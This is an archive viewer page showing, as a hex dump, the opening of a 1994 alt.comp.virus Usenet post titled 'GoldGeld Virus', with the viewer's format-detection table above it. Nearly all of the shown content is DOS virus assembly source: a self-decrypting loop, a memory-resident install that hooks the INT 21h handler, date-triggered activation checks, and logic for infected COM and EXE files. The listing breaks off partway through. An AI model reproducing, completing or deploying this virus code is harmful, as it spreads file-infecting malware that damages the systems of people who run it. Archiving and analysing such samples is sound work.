home *** CD-ROM | disk | FTP | other *** search
open in:
MacOS 8.1
|
Win98
|
DOS
view JSON data
|
view as text
This file was processed as: Mailbox/MIME Entity
(archive/mbox).
You can browse this item here: goldgeld.asm
Confidence | Program | Detection | Match Type | Support
|
---|
100%
| dexvert
| Mailbox/MIME Entity (archive/mbox)
| magic
| Supported |
100%
| dexvert
| Internet Message Format (text/imf)
| magic
| Supported |
100%
| dexvert
| Assembly Source File (text/asm)
| magic
| Supported |
1%
| dexvert
| freeCAD assembly (other/freeCADAssembly)
| ext
| Unsupported |
1%
| dexvert
| Text File (text/txt)
| fallback
| Supported |
100%
| file
| Mailbox text, 1st line "From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:44:42 1994", Non-ISO extended-ASCII text
| default
| |
100%
| TrID
| E-Mail message (Var. 2)
| default
| |
100%
| perlTextCheck
| Likely Text (Perl)
| default
| |
100%
| siegfried
| x-fmt/111 Plain Text File
| default
| |
100%
| detectItEasy
| Format: plain text[LF]
| default (weak)
| |
100%
| xdgMime
| application/mbox
| default
|
|
hex view+--------+-------------------------+-------------------------+--------+--------+
|00000000| 46 72 6f 6d 20 6e 65 74 | 63 6f 6d 2e 63 6f 6d 21 |From net|com.com!|
|00000010| 69 78 2e 6e 65 74 63 6f | 6d 2e 63 6f 6d 21 6e 65 |ix.netco|m.com!ne|
|00000020| 74 6e 65 77 73 20 54 75 | 65 20 4e 6f 76 20 32 39 |tnews Tu|e Nov 29|
|00000030| 20 30 39 3a 34 34 3a 34 | 32 20 31 39 39 34 0a 58 | 09:44:4|2 1994.X|
|00000040| 72 65 66 3a 20 6e 65 74 | 63 6f 6d 2e 63 6f 6d 20 |ref: net|com.com |
|00000050| 61 6c 74 2e 63 6f 6d 70 | 2e 76 69 72 75 73 3a 35 |alt.comp|.virus:5|
|00000060| 31 30 0a 50 61 74 68 3a | 20 6e 65 74 63 6f 6d 2e |10.Path:| netcom.|
|00000070| 63 6f 6d 21 69 78 2e 6e | 65 74 63 6f 6d 2e 63 6f |com!ix.n|etcom.co|
|00000080| 6d 21 6e 65 74 6e 65 77 | 73 0a 46 72 6f 6d 3a 20 |m!netnew|s.From: |
|00000090| 5a 65 70 70 65 6c 69 6e | 40 69 78 2e 6e 65 74 63 |Zeppelin|@ix.netc|
|000000a0| 6f 6d 2e 63 6f 6d 20 28 | 4d 72 2e 20 47 29 0a 4e |om.com (|Mr. G).N|
|000000b0| 65 77 73 67 72 6f 75 70 | 73 3a 20 61 6c 74 2e 63 |ewsgroup|s: alt.c|
|000000c0| 6f 6d 70 2e 76 69 72 75 | 73 0a 53 75 62 6a 65 63 |omp.viru|s.Subjec|
|000000d0| 74 3a 20 47 6f 6c 64 47 | 65 6c 64 20 56 69 72 75 |t: GoldG|eld Viru|
|000000e0| 73 0a 44 61 74 65 3a 20 | 32 39 20 4e 6f 76 20 31 |s.Date: |29 Nov 1|
|000000f0| 39 39 34 20 31 33 3a 31 | 36 3a 34 33 20 47 4d 54 |994 13:1|6:43 GMT|
|00000100| 0a 4f 72 67 61 6e 69 7a | 61 74 69 6f 6e 3a 20 4e |.Organiz|ation: N|
|00000110| 65 74 63 6f 6d 0a 4c 69 | 6e 65 73 3a 20 33 34 36 |etcom.Li|nes: 346|
|00000120| 0a 44 69 73 74 72 69 62 | 75 74 69 6f 6e 3a 20 77 |.Distrib|ution: w|
|00000130| 6f 72 6c 64 0a 4d 65 73 | 73 61 67 65 2d 49 44 3a |orld.Mes|sage-ID:|
|00000140| 20 3c 33 62 66 39 6a 72 | 24 69 67 68 40 69 78 6e | <3bf9jr|$igh@ixn|
|00000150| 65 77 73 31 2e 69 78 2e | 6e 65 74 63 6f 6d 2e 63 |ews1.ix.|netcom.c|
|00000160| 6f 6d 3e 0a 52 65 66 65 | 72 65 6e 63 65 73 3a 20 |om>.Refe|rences: |
|00000170| 3c 73 62 72 69 6e 67 65 | 72 44 30 30 79 48 76 2e |<sbringe|rD00yHv.|
|00000180| 48 73 33 40 6e 65 74 63 | 6f 6d 2e 63 6f 6d 3e 20 |Hs3@netc|om.com> |
|00000190| 3c 62 72 61 64 6c 65 79 | 6d 44 30 31 31 76 4a 2e |<bradley|mD011vJ.|
|000001a0| 4c 70 38 40 6e 65 74 63 | 6f 6d 2e 63 6f 6d 3e 0a |Lp8@netc|om.com>.|
|000001b0| 4e 4e 54 50 2d 50 6f 73 | 74 69 6e 67 2d 48 6f 73 |NNTP-Pos|ting-Hos|
|000001c0| 74 3a 20 69 78 2d 70 61 | 73 32 2d 31 30 2e 69 78 |t: ix-pa|s2-10.ix|
|000001d0| 2e 6e 65 74 63 6f 6d 2e | 63 6f 6d 0a 0a 0a 09 47 |.netcom.|com....G|
|000001e0| 4f 4c 44 5f 47 45 4c 44 | 20 56 49 52 55 53 0a 0a |OLD_GELD| VIRUS..|
|000001f0| 0a 6d 6f 64 65 6c 20 74 | 69 6e 79 20 20 20 20 20 |.model t|iny |
|00000200| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000210| 20 20 20 20 20 20 20 20 | 3b 20 48 61 6e 64 79 20 | |; Handy |
|00000220| 64 69 72 65 63 74 69 76 | 65 0a 63 6f 64 65 20 20 |directiv|e.code |
|00000230| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000240| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000250| 20 3b 20 56 69 72 75 73 | 20 63 6f 64 65 20 73 65 | ; Virus| code se|
|00000260| 67 6d 65 6e 74 0a 20 20 | 20 20 20 20 20 20 20 20 |gment. | |
|00000270| 6f 72 67 20 20 20 20 30 | 20 20 20 20 20 20 20 20 |org 0| |
|00000280| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; |
|00000290| 46 6f 72 20 65 61 73 79 | 20 63 61 6c 63 75 6c 61 |For easy| calcula|
|000002a0| 74 69 6f 6e 20 6f 66 20 | 0a 6f 66 66 73 65 74 73 |tion of |.offsets|
|000002b0| 0a 69 64 20 3d 20 27 53 | 53 27 20 20 20 20 20 20 |.id = 'S|S' |
|000002c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000002d0| 20 20 20 20 20 20 20 20 | 20 3b 20 49 44 20 77 6f | | ; ID wo|
|000002e0| 72 64 20 66 6f 72 20 45 | 58 45 20 69 6e 66 65 63 |rd for E|XE infec|
|000002f0| 74 69 6f 6e 73 0a 0a 73 | 74 61 72 74 76 69 72 75 |tions..s|tartviru|
|00000300| 73 3a 0a 64 65 63 72 79 | 70 74 3a 20 20 6c 6f 6f |s:.decry|pt: loo|
|00000310| 70 20 64 65 63 72 79 70 | 74 20 20 20 20 20 20 20 |p decryp|t |
|00000320| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 68 61 6e | | ; han|
|00000330| 64 6c 65 73 20 65 6e 63 | 72 79 70 74 69 6f 6e 20 |dles enc|ryption |
|00000340| 61 6e 64 20 0a 64 65 63 | 72 79 70 74 69 6f 6e 0a |and .dec|ryption.|
|00000350| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 62 | | mov b|
|00000360| 78 2c 28 6f 66 66 73 65 | 74 20 68 65 61 70 20 2d |x,(offse|t heap -|
|00000370| 20 6f 66 66 73 65 74 20 | 73 74 61 72 74 65 6e 63 | offset |startenc|
|00000380| 72 79 70 74 29 2f 32 20 | 3b 20 69 74 65 72 61 74 |rypt)/2 |; iterat|
|00000390| 69 6f 6e 73 0a 70 61 74 | 63 68 5f 73 74 61 72 74 |ions.pat|ch_start|
|000003a0| 65 6e 63 72 79 70 74 3a | 0a 20 20 20 20 20 20 20 |encrypt:|. |
|000003b0| 20 20 20 6d 6f 76 20 20 | 62 70 2c 6f 66 66 73 65 | mov |bp,offse|
|000003c0| 74 20 73 74 61 72 74 65 | 6e 63 72 79 70 74 20 20 |t starte|ncrypt |
|000003d0| 20 3b 20 73 74 61 72 74 | 20 6f 66 20 64 65 63 72 | ; start| of decr|
|000003e0| 79 70 74 69 6f 6e 0a 64 | 65 63 72 79 70 74 5f 6c |yption.d|ecrypt_l|
|000003f0| 6f 6f 70 3a 0a 20 20 20 | 20 20 20 20 20 20 20 64 |oop:. | d|
|00000400| 62 20 20 20 32 65 68 2c | 38 31 68 2c 34 36 68 2c |b 2eh,|81h,46h,|
|00000410| 30 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 61 |0 | ; a|
|00000420| 64 64 20 77 6f 72 64 20 | 70 74 72 20 63 73 3a 5b |dd word |ptr cs:[|
|00000430| 62 70 5d 2c 20 78 78 78 | 78 0a 64 65 63 72 79 70 |bp], xxx|x.decryp|
|00000440| 74 5f 76 61 6c 75 65 20 | 64 77 20 20 30 20 20 20 |t_value |dw 0 |
|00000450| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000460| 20 20 3b 20 69 6e 69 74 | 69 61 6c 69 73 65 64 20 | ; init|ialised |
|00000470| 61 74 20 7a 65 72 6f 20 | 66 6f 72 20 6e 75 6c 6c |at zero |for null|
|00000480| 20 0a 65 66 66 65 63 74 | 0a 20 20 20 20 20 20 20 | .effect|. |
|00000490| 20 20 20 69 6e 63 20 20 | 62 70 20 20 20 20 20 20 | inc |bp |
|000004a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000004b0| 20 3b 20 63 61 6c 63 75 | 6c 61 74 65 20 6e 65 77 | ; calcu|late new|
|000004c0| 20 64 65 63 72 79 70 74 | 69 6f 6e 20 0a 6c 6f 63 | decrypt|ion .loc|
|000004d0| 61 74 69 6f 6e 0a 20 20 | 20 20 20 20 20 20 20 20 |ation. | |
|000004e0| 69 6e 63 20 20 62 70 0a | 20 20 20 20 20 20 20 20 |inc bp.| |
|000004f0| 20 20 64 65 63 20 20 62 | 78 20 20 20 20 20 20 20 | dec b|x |
|00000500| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000510| 3b 20 49 66 20 77 65 20 | 61 72 65 20 6e 6f 74 20 |; If we |are not |
|00000520| 64 6f 6e 65 2c 20 74 68 | 65 6e 0a 20 20 20 20 20 |done, th|en. |
|00000530| 20 20 20 20 20 6a 6e 7a | 20 20 64 65 63 72 79 70 | jnz| decryp|
|00000540| 74 5f 6c 6f 6f 70 20 20 | 20 20 20 20 20 20 20 20 |t_loop | |
|00000550| 20 20 20 3b 20 64 65 63 | 72 79 70 74 20 6d 6f 27 | ; dec|rypt mo'|
|00000560| 0a 73 74 61 72 74 65 6e | 63 72 79 70 74 3a 0a 20 |.starten|crypt:. |
|00000570| 20 20 20 20 20 20 20 20 | 20 63 61 6c 6c 20 6e 65 | | call ne|
|00000580| 78 74 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |xt | |
|00000590| 20 20 20 20 20 20 20 3b | 20 63 61 6c 63 75 6c 61 | ;| calcula|
|000005a0| 74 65 20 64 65 6c 74 61 | 20 6f 66 66 73 65 74 0a |te delta| offset.|
|000005b0| 6e 65 78 74 3a 20 20 20 | 20 20 70 6f 70 20 20 62 |next: | pop b|
|000005c0| 70 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |p | |
|000005d0| 20 20 20 20 20 20 20 20 | 3b 20 62 70 20 3d 20 49 | |; bp = I|
|000005e0| 50 20 6e 65 78 74 0a 20 | 20 20 20 20 20 20 20 20 |P next. | |
|000005f0| 20 73 75 62 20 20 62 70 | 2c 6f 66 66 73 65 74 20 | sub bp|,offset |
|00000600| 6e 65 78 74 20 20 20 20 | 20 20 20 20 20 20 20 3b |next | ;|
|00000610| 20 62 70 20 3d 20 64 65 | 6c 74 61 20 6f 66 66 73 | bp = de|lta offs|
|00000620| 65 74 0a 0a 20 20 20 20 | 20 20 20 20 20 20 70 75 |et.. | pu|
|00000630| 73 68 20 64 73 0a 20 20 | 20 20 20 20 20 20 20 20 |sh ds. | |
|00000640| 70 75 73 68 20 65 73 0a | 0a 20 20 20 20 20 20 20 |push es.|. |
|00000650| 20 20 20 6d 6f 76 20 20 | 61 78 2c 27 56 43 27 20 | mov |ax,'VC' |
|00000660| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000670| 20 3b 20 49 6e 73 74 61 | 6c 6c 61 74 69 6f 6e 20 | ; Insta|llation |
|00000680| 63 68 65 63 6b 0a 20 20 | 20 20 20 20 20 20 20 20 |check. | |
|00000690| 69 6e 74 20 20 32 31 68 | 0a 20 20 20 20 20 20 20 |int 21h|. |
|000006a0| 20 20 20 63 6d 70 20 20 | 61 78 2c 27 50 53 27 20 | cmp |ax,'PS' |
|000006b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000006c0| 20 3b 20 41 6c 72 65 61 | 64 79 20 69 6e 73 74 61 | ; Alrea|dy insta|
|000006d0| 6c 6c 65 64 3f 0a 20 20 | 20 20 20 20 20 20 20 20 |lled?. | |
|000006e0| 6a 7a 20 20 64 6f 6e 65 | 5f 69 6e 73 74 61 6c 6c |jz done|_install|
|000006f0| 0a 0a 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |.. | mov |
|00000700| 20 61 78 2c 20 65 73 20 | 20 20 20 20 20 20 20 20 | ax, es | |
|00000710| 20 20 20 20 20 20 20 20 | 20 20 3b 20 47 65 74 20 | | ; Get |
|00000720| 50 53 50 0a 20 20 20 20 | 20 20 20 20 20 20 64 65 |PSP. | de|
|00000730| 63 20 20 61 78 0a 20 20 | 20 20 20 20 20 20 20 20 |c ax. | |
|00000740| 6d 6f 76 20 20 64 73 2c | 20 61 78 20 20 20 20 20 |mov ds,| ax |
|00000750| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; |
|00000760| 47 65 74 20 4d 43 42 0a | 0a 20 20 20 20 20 20 20 |Get MCB.|. |
|00000770| 20 20 20 73 75 62 20 20 | 77 6f 72 64 20 70 74 72 | sub |word ptr|
|00000780| 20 64 73 3a 5b 33 5d 2c | 28 28 65 6e 64 68 65 61 | ds:[3],|((endhea|
|00000790| 70 2d 73 74 61 72 74 76 | 69 72 75 73 2b 31 30 32 |p-startv|irus+102|
|000007a0| 33 29 2f 31 30 32 34 29 | 2a 36 34 0a 20 20 20 20 |3)/1024)|*64. |
|000007b0| 20 20 20 20 20 20 73 75 | 62 20 20 77 6f 72 64 20 | su|b word |
|000007c0| 70 74 72 20 64 73 3a 5b | 31 32 68 5d 2c 28 28 65 |ptr ds:[|12h],((e|
|000007d0| 6e 64 68 65 61 70 2d 73 | 74 61 72 74 76 69 72 75 |ndheap-s|tartviru|
|000007e0| 73 2b 31 30 32 33 29 2f | 31 30 32 34 29 2a 36 34 |s+1023)/|1024)*64|
|000007f0| 0a 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |. | mov |
|00000800| 65 73 2c 77 6f 72 64 20 | 70 74 72 20 64 73 3a 5b |es,word |ptr ds:[|
|00000810| 31 32 68 5d 0a 0a 20 20 | 20 20 20 20 20 20 20 20 |12h].. | |
|00000820| 70 75 73 68 20 63 73 0a | 20 20 20 20 20 20 20 20 |push cs.| |
|00000830| 20 20 70 6f 70 20 20 64 | 73 0a 20 20 20 20 20 20 | pop d|s. |
|00000840| 20 20 20 20 78 6f 72 20 | 20 64 69 2c 64 69 20 20 | xor | di,di |
|00000850| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000860| 20 20 3b 20 44 65 73 74 | 69 6e 61 74 69 6f 6e 0a | ; Dest|ination.|
|00000870| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 63 | | mov c|
|00000880| 78 2c 28 68 65 61 70 2d | 73 74 61 72 74 76 69 72 |x,(heap-|startvir|
|00000890| 75 73 29 2f 32 2b 31 20 | 3b 20 42 79 74 65 73 20 |us)/2+1 |; Bytes |
|000008a0| 74 6f 20 7a 6f 70 79 0a | 20 20 20 20 20 20 20 20 |to zopy.| |
|000008b0| 20 20 6d 6f 76 20 20 73 | 69 2c 62 70 20 20 20 20 | mov s|i,bp |
|000008c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000008d0| 3b 20 6c 65 61 20 20 73 | 69 2c 5b 62 70 2b 6f 66 |; lea s|i,[bp+of|
|000008e0| 66 73 65 74 20 73 74 61 | 72 74 76 69 72 75 73 5d |fset sta|rtvirus]|
|000008f0| 0a 20 20 20 20 20 20 20 | 20 20 20 72 65 70 20 20 |. | rep |
|00000900| 6d 6f 76 73 77 0a 0a 20 | 20 20 20 20 20 20 20 20 |movsw.. | |
|00000910| 20 6d 6f 76 20 20 64 69 | 2c 6f 66 66 73 65 74 20 | mov di|,offset |
|00000920| 65 6e 63 72 79 70 74 0a | 20 20 20 20 20 20 20 20 |encrypt.| |
|00000930| 20 20 6d 6f 76 20 20 73 | 69 2c 62 70 20 20 20 20 | mov s|i,bp |
|00000940| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000950| 3b 20 6c 65 61 20 20 73 | 69 2c 5b 62 70 2b 6f 66 |; lea s|i,[bp+of|
|00000960| 66 73 65 74 20 73 74 61 | 72 74 76 69 72 75 73 5d |fset sta|rtvirus]|
|00000970| 0a 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |. | mov |
|00000980| 63 78 2c 73 74 61 72 74 | 65 6e 63 72 79 70 74 2d |cx,start|encrypt-|
|00000990| 64 65 63 72 79 70 74 0a | 20 20 20 20 20 20 20 20 |decrypt.| |
|000009a0| 20 20 72 65 70 20 20 6d | 6f 76 73 62 0a 20 20 20 | rep m|ovsb. |
|000009b0| 20 20 20 20 20 20 20 6d | 6f 76 20 20 61 6c 2c 30 | m|ov al,0|
|000009c0| 63 33 68 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |c3h | |
|000009d0| 20 20 20 20 20 3b 20 72 | 65 74 6e 0a 20 20 20 20 | ; r|etn. |
|000009e0| 20 20 20 20 20 20 73 74 | 6f 73 62 0a 0a 20 20 20 | st|osb.. |
|000009f0| 20 20 20 20 20 20 20 78 | 6f 72 20 20 61 78 2c 61 | x|or ax,a|
|00000a00| 78 0a 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |x. | mov |
|00000a10| 20 64 73 2c 61 78 0a 20 | 20 20 20 20 20 20 20 20 | ds,ax. | |
|00000a20| 20 73 75 62 20 20 77 6f | 72 64 20 70 74 72 20 64 | sub wo|rd ptr d|
|00000a30| 73 3a 5b 34 31 33 68 5d | 2c 28 65 6e 64 68 65 61 |s:[413h]|,(endhea|
|00000a40| 70 2d 73 74 61 72 74 76 | 69 72 75 73 2b 31 30 32 |p-startv|irus+102|
|00000a50| 33 29 2f 31 30 32 34 0a | 20 20 20 20 20 20 20 20 |3)/1024.| |
|00000a60| 20 20 70 75 73 68 20 64 | 73 0a 20 20 20 20 20 20 | push d|s. |
|00000a70| 20 20 20 20 6c 64 73 20 | 20 61 78 2c 64 73 3a 5b | lds | ax,ds:[|
|00000a80| 32 31 68 2a 34 5d 20 20 | 20 20 20 20 20 20 20 20 |21h*4] | |
|00000a90| 20 20 3b 20 47 65 74 20 | 6f 6c 64 20 69 6e 74 20 | ; Get |old int |
|00000aa0| 68 61 6e 64 6c 65 72 0a | 20 20 20 20 20 20 20 20 |handler.| |
|00000ab0| 20 20 6d 6f 76 20 20 77 | 6f 72 64 20 70 74 72 20 | mov w|ord ptr |
|00000ac0| 65 73 3a 6f 6c 64 69 6e | 74 32 31 2c 20 61 78 0a |es:oldin|t21, ax.|
|00000ad0| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 77 | | mov w|
|00000ae0| 6f 72 64 20 70 74 72 20 | 65 73 3a 6f 6c 64 69 6e |ord ptr |es:oldin|
|00000af0| 74 32 31 2b 32 2c 20 64 | 73 0a 20 20 20 20 20 20 |t21+2, d|s. |
|00000b00| 20 20 20 20 70 6f 70 20 | 20 64 73 0a 20 20 20 20 | pop | ds. |
|00000b10| 20 20 20 20 20 20 6d 6f | 76 20 20 77 6f 72 64 20 | mo|v word |
|00000b20| 70 74 72 20 64 73 3a 5b | 32 31 68 2a 34 5d 2c 20 |ptr ds:[|21h*4], |
|00000b30| 6f 66 66 73 65 74 20 69 | 6e 74 32 31 20 3b 20 52 |offset i|nt21 ; R|
|00000b40| 65 70 6c 61 63 65 20 77 | 69 74 68 20 6e 65 77 20 |eplace w|ith new |
|00000b50| 0a 68 61 6e 64 6c 65 72 | 0a 20 20 20 20 20 20 20 |.handler|. |
|00000b60| 20 20 20 6d 6f 76 20 20 | 64 73 3a 5b 32 31 68 2a | mov |ds:[21h*|
|00000b70| 34 2b 32 5d 2c 20 65 73 | 20 20 20 20 20 20 20 20 |4+2], es| |
|00000b80| 20 3b 20 69 6e 20 68 69 | 67 68 20 6d 65 6d 6f 72 | ; in hi|gh memor|
|00000b90| 79 0a 64 6f 6e 65 5f 69 | 6e 73 74 61 6c 6c 3a 0a |y.done_i|nstall:.|
|00000ba0| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 61 | | mov a|
|00000bb0| 68 2c 32 61 68 20 20 20 | 20 20 20 20 20 20 20 20 |h,2ah | |
|00000bc0| 20 20 20 20 20 20 20 20 | 3b 20 47 65 74 20 63 75 | |; Get cu|
|00000bd0| 72 72 65 6e 74 20 64 61 | 74 65 0a 20 20 20 20 20 |rrent da|te. |
|00000be0| 20 20 20 20 20 69 6e 74 | 20 20 32 31 68 0a 20 20 | int| 21h. |
|00000bf0| 20 20 20 20 20 20 20 20 | 63 6d 70 20 20 64 68 2c | |cmp dh,|
|00000c00| 31 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |1 | |
|00000c10| 20 20 20 20 20 20 3b 20 | 43 68 65 63 6b 20 6d 6f | ; |Check mo|
|00000c20| 6e 74 68 0a 20 20 20 20 | 20 20 20 20 20 20 6a 62 |nth. | jb|
|00000c30| 20 20 20 65 78 69 74 5f | 76 69 72 75 73 0a 20 20 | exit_|virus. |
|00000c40| 20 20 20 20 20 20 20 20 | 63 6d 70 20 20 64 6c 2c | |cmp dl,|
|00000c50| 31 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |1 | |
|00000c60| 20 20 20 20 20 20 3b 20 | 43 68 65 63 6b 20 64 61 | ; |Check da|
|00000c70| 74 65 0a 20 20 20 20 20 | 20 20 20 20 20 6a 62 20 |te. | jb |
|00000c80| 20 20 65 78 69 74 5f 76 | 69 72 75 73 0a 0a 20 20 | exit_v|irus.. |
|00000c90| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 61 68 2c | |mov ah,|
|00000ca0| 32 63 68 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |2ch | |
|00000cb0| 20 20 20 20 20 20 3b 20 | 47 65 74 20 63 75 72 72 | ; |Get curr|
|00000cc0| 65 6e 74 20 74 69 6d 65 | 0a 20 20 20 20 20 20 20 |ent time|. |
|00000cd0| 20 20 20 69 6e 74 20 20 | 32 31 68 0a 20 20 20 20 | int |21h. |
|00000ce0| 20 20 20 20 20 20 63 6d | 70 20 20 64 6c 2c 38 30 | cm|p dl,80|
|00000cf0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000d00| 20 20 20 20 3b 20 43 68 | 65 63 6b 20 74 68 65 20 | ; Ch|eck the |
|00000d10| 70 65 72 63 65 6e 74 61 | 67 65 0a 20 20 20 20 20 |percenta|ge. |
|00000d20| 20 20 20 20 20 6a 61 65 | 20 20 61 63 74 69 76 61 | jae| activa|
|00000d30| 74 65 0a 0a 65 78 69 74 | 5f 76 69 72 75 73 3a 0a |te..exit|_virus:.|
|00000d40| 20 20 20 20 20 20 20 20 | 20 20 70 6f 70 20 20 65 | | pop e|
|00000d50| 73 0a 20 20 20 20 20 20 | 20 20 20 20 70 6f 70 20 |s. | pop |
|00000d60| 20 64 73 0a 20 20 20 20 | 20 20 20 20 20 20 63 6d | ds. | cm|
|00000d70| 70 20 20 73 70 2c 69 64 | 20 20 20 20 20 20 20 20 |p sp,id| |
|00000d80| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 45 58 | | ; EX|
|00000d90| 45 20 6f 72 20 43 4f 4d | 3f 0a 20 20 20 20 20 20 |E or COM|?. |
|00000da0| 20 20 20 20 6a 7a 20 20 | 20 72 65 74 75 72 6e 45 | jz | returnE|
|00000db0| 58 45 0a 72 65 74 75 72 | 6e 43 4f 4d 3a 0a 20 20 |XE.retur|nCOM:. |
|00000dc0| 20 20 20 20 20 20 20 20 | 6c 65 61 20 20 73 69 2c | |lea si,|
|00000dd0| 5b 62 70 2b 6f 66 66 73 | 65 74 20 73 61 76 65 33 |[bp+offs|et save3|
|00000de0| 5d 0a 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |]. | mov |
|00000df0| 20 64 69 2c 31 30 30 68 | 0a 20 20 20 20 20 20 20 | di,100h|. |
|00000e00| 20 20 20 70 75 73 68 20 | 64 69 20 20 20 20 20 20 | push |di |
|00000e10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000e20| 20 3b 20 46 6f 72 20 6c | 61 74 65 72 20 72 65 74 | ; For l|ater ret|
|00000e30| 75 72 6e 0a 20 20 20 20 | 20 20 20 20 20 20 6d 6f |urn. | mo|
|00000e40| 76 73 77 0a 20 20 20 20 | 20 20 20 20 20 20 6d 6f |vsw. | mo|
|00000e50| 76 73 62 0a 20 20 20 20 | 20 20 20 20 20 20 72 65 |vsb. | re|
|00000e60| 74 6e 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |tn | |
|00000e70| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 31 30 | | ; 10|
|00000e80| 30 68 20 69 73 20 6f 6e | 20 73 74 61 63 6b 0a 72 |0h is on| stack.r|
|00000e90| 65 74 75 72 6e 45 58 45 | 3a 0a 20 20 20 20 20 20 |eturnEXE|:. |
|00000ea0| 20 20 20 20 6d 6f 76 20 | 20 61 78 2c 65 73 20 20 | mov | ax,es |
|00000eb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000ec0| 20 20 3b 20 41 58 20 3d | 20 50 53 50 20 73 65 67 | ; AX =| PSP seg|
|00000ed0| 6d 65 6e 74 0a 20 20 20 | 20 20 20 20 20 20 20 61 |ment. | a|
|00000ee0| 64 64 20 20 61 78 2c 31 | 30 68 20 20 20 20 20 20 |dd ax,1|0h |
|00000ef0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 41 | | ; A|
|00000f00| 64 6a 75 73 74 20 66 6f | 72 20 50 53 50 0a 20 20 |djust fo|r PSP. |
|00000f10| 20 20 20 20 20 20 20 20 | 61 64 64 20 20 77 6f 72 | |add wor|
|00000f20| 64 20 70 74 72 20 63 73 | 3a 5b 62 70 2b 6f 6c 64 |d ptr cs|:[bp+old|
|00000f30| 43 53 49 50 2b 32 5d 2c | 61 78 0a 20 20 20 20 20 |CSIP+2],|ax. |
|00000f40| 20 20 20 20 20 61 64 64 | 20 20 61 78 2c 77 6f 72 | add| ax,wor|
|00000f50| 64 20 70 74 72 20 63 73 | 3a 5b 62 70 2b 6f 6c 64 |d ptr cs|:[bp+old|
|00000f60| 53 53 53 50 2b 32 5d 0a | 20 20 20 20 20 20 20 20 |SSSP+2].| |
|00000f70| 20 20 63 6c 69 20 20 20 | 20 20 20 20 20 20 20 20 | cli | |
|00000f80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000f90| 3b 20 43 6c 65 61 72 20 | 69 6e 74 72 70 74 73 20 |; Clear |intrpts |
|00000fa0| 66 6f 72 20 73 74 61 63 | 6b 20 0a 6d 61 6e 69 70 |for stac|k .manip|
|00000fb0| 75 6c 61 74 69 6f 6e 0a | 20 20 20 20 20 20 20 20 |ulation.| |
|00000fc0| 20 20 6d 6f 76 20 20 73 | 70 2c 77 6f 72 64 20 70 | mov s|p,word p|
|00000fd0| 74 72 20 63 73 3a 5b 62 | 70 2b 6f 6c 64 53 53 53 |tr cs:[b|p+oldSSS|
|00000fe0| 50 5d 0a 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 |P]. | mov|
|00000ff0| 20 20 73 73 2c 61 78 0a | 20 20 20 20 20 20 20 20 | ss,ax.| |
|00001000| 20 20 73 74 69 0a 20 20 | 20 20 20 20 20 20 20 20 | sti. | |
|00001010| 64 62 20 20 20 30 65 61 | 68 20 20 20 20 20 20 20 |db 0ea|h |
|00001020| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; |
|00001030| 6a 6d 70 20 73 73 73 73 | 3a 6f 6f 6f 6f 0a 6f 6c |jmp ssss|:oooo.ol|
|00001040| 64 43 53 49 50 20 20 20 | 64 62 20 3f 20 20 20 20 |dCSIP |db ? |
|00001050| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001060| 20 20 20 20 20 20 3b 20 | 4f 72 69 67 69 6e 61 6c | ; |Original|
|00001070| 20 43 53 3a 49 50 20 28 | 34 20 62 79 74 65 73 29 | CS:IP (|4 bytes)|
|00001080| 0a 73 61 76 65 33 20 20 | 20 20 20 64 62 20 30 63 |.save3 | db 0c|
|00001090| 64 68 2c 32 30 68 2c 30 | 20 20 20 20 20 20 20 20 |dh,20h,0| |
|000010a0| 20 20 20 20 20 20 20 20 | 20 3b 20 46 69 72 73 74 | | ; First|
|000010b0| 20 33 20 62 79 74 65 73 | 20 6f 66 20 43 4f 4d 20 | 3 bytes| of COM |
